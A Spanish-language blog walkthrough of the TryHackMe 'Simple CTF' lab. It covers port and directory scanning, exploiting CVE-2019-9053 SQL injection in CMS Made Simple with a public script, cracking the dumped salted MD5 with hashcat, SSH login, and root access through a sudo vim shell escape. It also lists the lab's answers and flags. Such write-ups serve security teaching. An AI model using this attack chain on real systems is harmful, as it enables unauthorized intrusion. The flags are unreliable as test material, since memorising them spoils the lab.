Hola amigos, el día de hoy traigo mis notas sobre la maquina Simple CTF de TryHackMe 🙂 . Esta es una de las máquinas más sencillas que te puedes encontrar después de haber tomado algunas rooms de la plataforma.
En mi opinión, al menos ya deberías tener algo de conocimientos básicos sobre pentesting para poder hacerla.
Espero que les sea útil 😛
1 Encontrar puertos abiertos
Realizamos un Escaneo con NMAP
nmap -sV -sC 10.10.61.244
Observamos que hay 3 puertos abiertos: 21 / 80 / 2222
How many services are running under port 1000?
2
What is running on the higher port?ssh
2 Buscar directorios
Ejecutamos gobuster para encontrar posibles directorios que nos puedan ayudar a obtener más información:
gobuster dir -w /usr/share/wordlists/dirb/common.txt -x php,txt,html -t 20 -u http://10.10.61.244
El número 20 es el número de hilos que gobuster mandaría a la IP, podemos modifcarlo a 10 o 5 etc,… Esta solicitud tarda un poco, de 10-30 min aprox.
Obtendremos una salida como esta:
Observamos que agregando el path /simple/
a la URL nos lleva a un sito web. Si buscamos un poco más, podemos ver la versión del Content Management System de la página llamado CMS Made Simple version 2.2.8
Buscamos en internet y observamos que existe una vulnerabilidad en el CVE-2019-9053
What’s the CVE you’re using against the application?CVE-2019-9053
To what kind of vulnerability is the application vulnerable?sqli
Obtención de usuarios
En este punto podemos buscar como ejectuar el CVE o en su caso buscar credenciales con enum4linux +$IP.
enum4linux 10.10.160.237
Para no complicarnos, ya sabemos que el CVE es el 2019-9053, para ello buscamos como se puede explotar esta vulnerabilidad y encontramos que existe un script en python para obtener algunos datos como:
- El salt del password
- Usuario
- El hash del password
Para ello, descargamos el script desde https://www.exploit-db.com/exploits/46635
, lo ejecutamos solo pasando la URL del sitio:
python3 46635.py -u http://10.10.162.254/simple/
y obtendremos una salida como la siguiente:
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
Una vez encontrado el password, procederemos a analizar que tipo de hash contiene, en este caso use la siguiente página web:
https://www.tunnelsup.com/hash-analyzer/
Nos indica que es una MD5, para ello utilizaremos hashcat para descifrar el password utilizando el siguiente comando:
hashcat -O -m 20 -a 0 0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2 /usr/share/wordlists/rockyou.txt
donde:
- -O -> Optimización del kernel ( en caso de que la maquina no tenga suficientes recursos de hardware)
- -m -> El tipo de hash, que en este caso es un hash MD5 y donde usamos el flag 20 para el salt y el pass según la documentación en https://www.kali.org/tools/hashcat/
- -a o -> Esta opción establece el modo de ataque. En este caso,
0
se refiere al modo “straight” o “directo”, que es un ataque de fuerza bruta simple. - ![[Pasted image 20240122125729.png]]
- /usr/share/wordlists/rockyou.txt -> Es la ruta donde se encuentra nuestro diccionario que tomará hashcat para realizar el ataque.
Una vez ejecutado el comando anterior, obtendremos una salida como la siguiente donde debemos poner especial atención a la línea donde se encuentran el salt y hash del password para observar el descifrado:
What’s the password?secret
Where can you login with the details obtained?ssh
Realizar conexión vía SSH
Una vez que obtuvimos el usuario y el password, sabemos que podemos conectarnos mediante ssh ya que nmap nos indica que el puerto 2222 esta abierto. Para ellos ejecutamos el siguiente comando:
ssh mitch@10.10.135.57 -p 2222
Una vez dentro observamos que podemos encontrar el flag de la máquina.
What’s the user flag?G00d j0b, keep up!
Observamos que hay otro usuario dentro del directorio:
Is there any other user in the home directory? What’s its name?
sunbath
Saber que permisos tiene el usuario de conexión
Podemos ejecutar el siguiente comando para saber que permisos tiene el usuario mitch y ver si podemos ejecutar algún comando como usuario root:
$ sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
$ sudo -l -l
User mitch may run the following commands on Machine:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/usr/bin/vim
Observamos que podemos ejecutar lo siguiente:
- RunAsUsers: root: Esto indica que el comando especificado en la entrada (
/usr/bin/vim
) se puede ejecutar como el usuarioroot
. - Options: !authenticate: La opción
!authenticate
indica que no se requiere autenticación de contraseña para ejecutar el comando especificado. Esto significa que el usuario que intenta ejecutar/usr/bin/vim
a través desudo
no necesita ingresar su contraseña, lo cual es genial. - Commands: /usr/bin/vim: Este es el comando específico que se permite ejecutar con privilegios elevados. En este caso, el usuario puede ejecutar el editor de texto Vim (
/usr/bin/vim
) como el usuario root sin autenticación de contraseña.
What can you leverage to spawn a privileged shell?vim
Escalar privilegios
Como sabemos que podemos ejecutar vim sin password , nos dirigimos a la siguiente página para ver si podemos ejecutar algún comando para vim que nos permita ser usuario root
:
https://gtfobins.github.io/gtfobins/vim/#sudo
Como vemos, existe un comando para ser usuario root, lo ejecutamos y nos permitirá accesar al sistema con los privilegios:
$ sudo vim -c ':!/bin/sh'
# cd /root
# ls
root.txt
# cat root.txt
W3ll d0n3. You made it!
What’s the root flag?
W3ll d0n3. You made it!
Como vemos, simplemente listamos los archivos del directorio y obtenemos el flag. No olviden pasarse por mi canal de Youtube to seguirme en Twitter. Hasta la próxima!